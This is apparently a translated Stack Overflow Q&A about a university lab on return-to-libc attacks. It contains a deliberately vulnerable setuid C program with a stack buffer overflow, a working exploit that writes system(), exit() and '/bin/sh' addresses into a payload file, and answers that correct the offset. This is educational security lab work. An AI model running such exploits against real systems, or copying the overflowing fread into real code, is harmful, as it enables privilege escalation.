这是一个由两部分组成的问题:
A)我正在处理一个Return-into-libc攻击,但由于某些原因没有获得root shell。我应该使用一个易受攻击的程序: retlib.c。
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}我正在使用我的漏洞: exploit_1.c
/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
*(long *) &buf[16] = 0x40076430; // system()
*(long *) &buf[20] = 0x40069fb0; // exit()
fwrite(buf, 40, 1, badfile);
fclose(badfile);
}我使用gdb找到了system和exit的地址:
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb) 我使用myshell.c程序找到了/bin/sh地址:
//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main (){
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}而不是使用以下命令:
[02/15/2015 21:46] cs4393@ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393@ubuntu:~/project2$ ./myshell
bffffe86我觉得我做的每件事都是正确的,但我一直收到一个“分段错误(核心转储)”。我使用的是no -fstack保护器,chmod 4755和ASLR关闭。对哪里出了问题有什么想法?
b)我也在使用retlib-env.c:
/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
char* shell=getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int)shell);
badfile = fopen("badfile", "r");
//system(shell);
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}在我看来,这与a部分类似,但“在本例中,易受攻击的程序retlib-env.c将引用MYSHELL环境”。我不知道我需要在我的漏洞中添加什么才能让它工作。任何正确方向的提示或提示都会很有帮助。我有MYSHELL,但我不确定如何引用它来利用retlib-env.c。它不应该和第一部分很相似吗?
发布于 2015-02-16 15:15:08
可能在每次程序调用时,函数system()、exit()等的地址都会改变。您不能依赖于加载程序图、对这些地址进行调试、关闭调试会话并再次运行程序,因为perogram可能已在第二次加载到完全不同的起始地址。
发布于 2018-06-19 12:59:42
$gdb -q retlib您需要找到retlib的系统和退出地址,而不是利用。利用漏洞仅准备一个利用漏洞文件。Retlib读取此文件,直到缓冲区溢出。据我所知,系统地址段应该在缓冲区之后12开始,这意味着它将是buf24。
发布于 2020-03-04 05:50:12
程序名的长度将影响堆栈中环境变量的地址。要获得字符串/bin/sh的正确地址,应使搜索/bin/sh的程序长度(即myshell)等于最终攻击程序(即retlib)的长度。
此外,你需要找出返回帧的地址,在bof中应该是4加上ebp和&buffer之间的距离,在你的代码中应该是20+4=24而不是16。您可以在使用标志-g编译的程序上通过gdb进行验证。
https://stackoverflow.com/questions/28534388
复制相似问题